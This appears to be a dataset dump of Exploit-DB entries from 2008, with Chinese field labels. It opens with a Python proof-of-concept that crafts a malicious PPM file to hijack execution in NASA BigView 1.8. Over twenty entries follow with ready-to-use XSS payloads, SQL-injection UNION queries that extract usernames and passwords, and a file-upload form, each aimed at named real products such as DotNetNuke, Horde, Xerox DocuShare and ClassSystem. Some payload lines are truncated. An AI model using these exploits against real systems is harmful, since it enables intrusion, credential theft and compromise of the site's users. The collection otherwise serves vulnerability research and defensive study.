QLWD/code_shield huggingface dataset:
标题: NASA Ames Research Center BigView 1.8 - '.PNM' Stack Buffer Overflow (PoC) EDB-ID: 31872 CVE: 2008-2542 类型: DOS 平台: MULTIPLE 发布日期: 2008-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/29517/info

NASA Ames Research Center BigView is prone to a remote stack-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code in the context of the application. Successful attacks will compromise the application and underlying computer. Failed exploit attempts will result in a denial of service.

BigView 1.8 is vulnerable; other versions may also be affected. 

/-----------

## BigView exploit
## Alfredo Ortega - Core Security Exploit Writers Team (EWT)
## Works against BigView "browse" revision 1.8 compiled on ubuntu 6.06
Desktop i386

import struct
w = open("crash.ppm","wb")
w.write("""P3
#CREATOR: The GIMP's PNM Filter Version
1.0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""")
# This exploit is not trivial, because the function PPM::ppmHeader()
doesn't return inmmediately, and we must modify internal variables to
cause an overwrite of a C++ string destructor executed at the end of the
function to gain control of EIP
# PS.: Congrats for the Phoenix mars Lander!
for i in range(7):
                w.write(chr(i)*4)
w.write("AA")
w.write(struct.pack("<L",0xaaaaaaaa))
w.write(struct.pack("<L",0xbbbbbbbb))
w.write(struct.pack("<L",0xcccccccc))
w.write(struct.pack("<L",0x08080000))
w.write(struct.pack("<L",0x08080000)*48)

#The address of the destructor is hard-coded. Sorry but this is only a 
PoC!
destination = 0x0805b294 # destructor
value = 0x41414141 #address to jump to
w.write(struct.pack("<L",destination)) # destination

w.write("""
%d 300
255
255
255
255
""" % value)
w.close()

- -----------/ URL: https://www.exploit-db.com/exploits/31872
标题: Xerox DocuShare 6 - docushare/dsweb/ServicesLib/Group URI Cross-Site Scripting EDB-ID: 31864 CVE: 2008-5225 类型: REMOTE 平台: HARDWARE 发布日期: 2008-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/29430/info
  
Xerox DocuShare is prone to multiple cross-site scripting vulnerabilities.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Xerox DocuShare 6 and prior versions are vulnerable.

http://www.example.com/docushare/dsweb/ServicesLib/Group-#/XSS URL: https://www.exploit-db.com/exploits/31864
标题: Xerox DocuShare 6 - dsdn/dsweb/Services/User URI Cross-Site Scripting EDB-ID: 31863 CVE: 2008-5225 类型: REMOTE 平台: HARDWARE 发布日期: 2008-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/29430/info
 
Xerox DocuShare is prone to multiple cross-site scripting vulnerabilities.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Xerox DocuShare 6 and prior versions are vulnerable.

http://www.example.com/dsdn/dsweb/Services/User-XSS URL: https://www.exploit-db.com/exploits/31863
标题: DotNetNuke 4.8.3 - 'Default.aspx' Cross-Site Scripting EDB-ID: 31865 CVE: 2008-6644 类型: WEBAPPS 平台: ASP 发布日期: 2008-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/29437/info

DotNetNuke is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

DotNetNuke 4.8.3 is vulnerable; other versions may also be affected.

http://www.example.com/Default.aspx/"onmouseover="x='al';x=x+'ert(/Soroush Dalili From WWW.BugReport.IR/)';eval(x);alert().aspx http://www.example.com/Default.aspx/bugreport/"onmouseover="var a='.aspx?';document.location='http://www.bugreport.ir/?archive'; URL: https://www.exploit-db.com/exploits/31865
标题: TorrentTrader Classic 1.x - 'scrape.php' SQL Injection EDB-ID: 31866 CVE: 2008-6418 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/29451/info

TorrentTrader Classic is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/scrape.php?info_hash=%22union%20select%201,1,1,1,ip%20from%20users--%20%20%20 URL: https://www.exploit-db.com/exploits/31866
标题: Calcium 3.10/4.0.4 - 'Calcium40.pl' Cross-Site Scripting EDB-ID: 31858 CVE: 2008-2507 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/29411/info

Calcium is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Calcium 4.0.4 and 3.10 are vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/Calcium40.pl?Op=ShowIt&CalendarName=[xss] URL: https://www.exploit-db.com/exploits/31858
标题: Tr Script News 2.1 - 'news.php' Cross-Site Scripting EDB-ID: 31855 CVE: 2008-2508 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/29388/info

Tr Script News is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Tr Script News 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/news/news.php?mode=voir&nb=[XSS] URL: https://www.exploit-db.com/exploits/31855
标题: dvbbs 8.2 - 'login.asp' Multiple SQL Injections EDB-ID: 31861 CVE: 2008-5222 类型: WEBAPPS 平台: ASP 发布日期: 2008-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/29429/info

The 'dvbbs' program is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect dvbbs 8.2; other versions may also be affected.

http:///www.example.com/?password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253
D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25 URL: https://www.exploit-db.com/exploits/31861
标题: Xerox DocuShare 6 - dsdn/dsweb/SearchResults URI Cross-Site Scripting EDB-ID: 31862 CVE: 2008-5225 类型: REMOTE 平台: HARDWARE 发布日期: 2008-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/29430/info

Xerox DocuShare is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Xerox DocuShare 6 and prior versions are vulnerable.

http://www.example.com/dsdn/dsweb/SearchResults/XSS URL: https://www.exploit-db.com/exploits/31862
标题: ClassSystem 2.0/2.3 - 'MessageReply.php?teacher_id' SQL Injection EDB-ID: 31848 CVE: 2008-6618 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29372/info
  
ClassSystem is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. These issues include multiple SQL-injection vulnerabilities and an arbitrary-file-upload vulnerability.
  
Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
ClassSystem 2 and 2.3 are affected; other versions may also be vulnerable. 

http://www.example.com/class/MessageReply.php?teacher_id=1&message_id=-99'+union+select+teacher_account,teacher_password,3,4+from+teacher/* URL: https://www.exploit-db.com/exploits/31848
标题: Campus Bulletin Board 3.4 - '/post3/book.asp?review' Cross-Site Scripting EDB-ID: 31850 CVE: 2008-2493 类型: WEBAPPS 平台: ASP 发布日期: 2008-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29375/info

Campus Bulletin Board is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Campus Bulletin Board 3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/post3/Book.asp?review=<script>alert(/xss/)</script> URL: https://www.exploit-db.com/exploits/31850
标题: Campus Bulletin Board 3.4 - '/post3/book.asp?review' SQL Injection EDB-ID: 31852 CVE: 2008-2492 类型: WEBAPPS 平台: ASP 发布日期: 2008-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29375/info
  
Campus Bulletin Board is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Campus Bulletin Board 3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/post3/book.asp?review=-99&#039;)+union+select+0,password,uid,3,4,5,6,7,8,9,10+from+user+where+1=1+union+select+*+From+&#20844;&#20296;&#27396
;+Where+&#039;%&#039;=(&#039; URL: https://www.exploit-db.com/exploits/31852
标题: Horde Multiple Product - 'day.php?Timestamp' Cross-Site Scripting EDB-ID: 31840 CVE: 2008-2783 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/29365/info
  
Horde Kronolith is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Specific vulnerable versions have not been provided. We will update this BID as more information emerges.

http://www.example.com/horde/kronolith/day.php?timestamp=<XSS> URL: https://www.exploit-db.com/exploits/31840
标题: Campus Bulletin Board 3.4 - '/post3/view.asp?id' SQL Injection EDB-ID: 31851 CVE: 2008-2492 类型: WEBAPPS 平台: ASP 发布日期: 2008-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29375/info
 
Campus Bulletin Board is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Campus Bulletin Board 3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/post3/view.asp?id=-99)+union+select+0,uid,password,3,4,5,6,7,8,9,10+from+user+where+1=(1 URL: https://www.exploit-db.com/exploits/31851
标题: Excuse Online - 'pwd.asp' SQL Injection EDB-ID: 31843 CVE: 2008-2509 类型: WEBAPPS 平台: ASP 发布日期: 2008-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29370/info

Excuse Online is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/excuse/MainProgram/pwd.asp?pwd=blah&pID='+or+???+like+'%25
http://www.example.com/excuse/MainProgram/pwd.asp?pwd=blah&pID='+or+??+like+'%25 URL: https://www.exploit-db.com/exploits/31843
标题: miniCWB 2.1.1 - 'connector.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31841 CVE: 2008-6620 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29368/info

miniCWB is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

miniCWB 2.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[mini_cwb_path]/javascript/editor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?errcontext=<XSS>
http://www.example.com/[mini_cwb_path]/javascript/editor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?fckphp_config[Debug_SERVER]=<XSS> URL: https://www.exploit-db.com/exploits/31841
标题: PHPFix 2.0 - '/auth/00_pass.php?account' SQL Injection EDB-ID: 31845 CVE: 2008-2479 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29371/info
 
phpFix is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
phpFix 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/phpfix/auth/00_pass.php?passwd=blah&account='+or+account+like+'blah%
http://www.example.com/phpfix/auth/00_pass.php?passwd=blah&account='+or+passwd+like+'blah% URL: https://www.exploit-db.com/exploits/31845
标题: Horde Multiple Product - 'week.php?Timestamp' Cross-Site Scripting EDB-ID: 31839 CVE: 2008-2783 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/29365/info
 
Horde Kronolith is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Specific vulnerable versions have not been provided. We will update this BID as more information emerges.

http://www.example.com/horde/kronolith/week.php?timestamp=<XSS> URL: https://www.exploit-db.com/exploits/31839
标题: ClassSystem 2.0/2.3 - 'HomepageTop.php?teacher_id' SQL Injection EDB-ID: 31846 CVE: 2008-6618 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29372/info

ClassSystem is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. These issues include multiple SQL-injection vulnerabilities and an arbitrary-file-upload vulnerability.

Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.

ClassSystem 2 and 2.3 are affected; other versions may also be vulnerable. 

http://www.example.com/class/HomepageTop.php?teacher_id=-99'+union+select+0,1,teacher_password,teacher_account,4,5+from+teacher/* URL: https://www.exploit-db.com/exploits/31846
标题: PHPFix 2.0 - '/fix/browse.php?kind' SQL Injection EDB-ID: 31844 CVE: 2008-2479 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29371/info

phpFix is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

phpFix 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/phpfix/fix/browse.php?kind=-99+union+select+0,passwd,account,3,4,5,6,7,8,9,10,11+from+auth URL: https://www.exploit-db.com/exploits/31844
标题: ClassSystem 2.0/2.3 - 'HomepageMain.php?teacher_id' SQL Injection EDB-ID: 31847 CVE: 2008-6618 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29372/info
 
ClassSystem is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. These issues include multiple SQL-injection vulnerabilities and an arbitrary-file-upload vulnerability.
 
Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
ClassSystem 2 and 2.3 are affected; other versions may also be vulnerable. 

http://www.example.com/class/HomepageMain.php?teacher_id=-99'+union+select+0,teacher_account,2,3,4,5,6,7,teacher_password+from+teacher/* URL: https://www.exploit-db.com/exploits/31847
标题: AbleSpace 1.0 - 'adv_cat.php' SQL Injection EDB-ID: 31842 CVE: 2008-2491 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29369/info

AbleSpace is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AbleSpace 1.0 is vulnerable; other versions may also be affected.

Http://www.example.com/ablespace/adv_cat.php?cat_id=[sql inection] URL: https://www.exploit-db.com/exploits/31842
标题: Horde Multiple Product - 'workweek.php?Timestamp' Cross-Site Scripting EDB-ID: 31838 CVE: 2008-2783 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/29365/info

Horde Kronolith is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Specific vulnerable versions have not been provided. We will update this BID as more information emerges. 

http://www.example.com/horde/kronolith/workweek.php?timestamp=<XSS> URL: https://www.exploit-db.com/exploits/31838
标题: ClassSystem 2.0/2.3 - 'class/ApplyDB.php' Unrestricted Arbitrary File Upload / Arbitrary Code Execution EDB-ID: 31849 CVE: 2008-6619 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29372/info
   
ClassSystem is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. These issues include multiple SQL-injection vulnerabilities and an arbitrary-file-upload vulnerability.
   
Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
ClassSystem 2 and 2.3 are affected; other versions may also be vulnerable. 

<form enctype="multipart/form-data" action="http://www.example.com/class/ApplyDB.php" method="post">
 <input type="hidden" name="teacher_account" value="blah1">
 <input type="hidden" name="teacher_password" value="blah1">
 <input type="file" name="uploadfile" size="40"><br>
 <input type="submit" value="send">
</form> URL: https://www.exploit-db.com/exploits/31849
标题: Apple Safari Montage 3.1.3 - 'forgotPW.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31835 CVE: 2008-6637 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/29343/info

SAFARI Montage is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

SAFARI Montage 3.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/SAFARI/montage/forgotPW.php?school="><script>alert(1)</script> http://www.example.com/SAFARI/montage/forgotPW.php?email="><iframe src="http://www.example2.com"> URL: https://www.exploit-db.com/exploits/31835
标题: DZOIC Handshakes 3.5 - 'fname' SQL Injection EDB-ID: 31837 CVE: 2008-2781 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/29353/info

DZOIC Handshakes is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DZOIC Handshakes 3.5 is vulnerable; other versions may also be affected. 

http://www.example.com/dzoic/index.php?handler=search&action=perform&search_type=members&fname=[Sql Injection]&lname=jakson&email=1@www.example2.com&handshakes=0&distance=0&country=0&state=0&city=0&postal_code=12345&online=on&with_photo=on&submit=Search URL: https://www.exploit-db.com/exploits/31837
标题: AbleDating 2.4 - 'search_results.php?keyword' Cross-Site Scripting EDB-ID: 31830 CVE: 2008-6439 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/29342/info
 
AbleDating is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include an SQL-injection vulnerability and a cross-site scripting vulnerability.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, execute arbitrary local scripts, retrieve potentially sensitive information, or exploit latent vulnerabilities in the underlying database.
 
These issues affect AbleDating 2.4; other versions may also be vulnerable.
 
http://www.example.com/search_results.php?p_orientation%5B%5D=2&p_age_from=18&p_age_to=18&p_relation%5B%5D=on&keyword=>&#039;><ScRiPt%20%0a%0d>alert(42119.7535489005)%3B</ScRiPt>&status=online&save_search=on&search_name=My%20search&photo=on URL: https://www.exploit-db.com/exploits/31830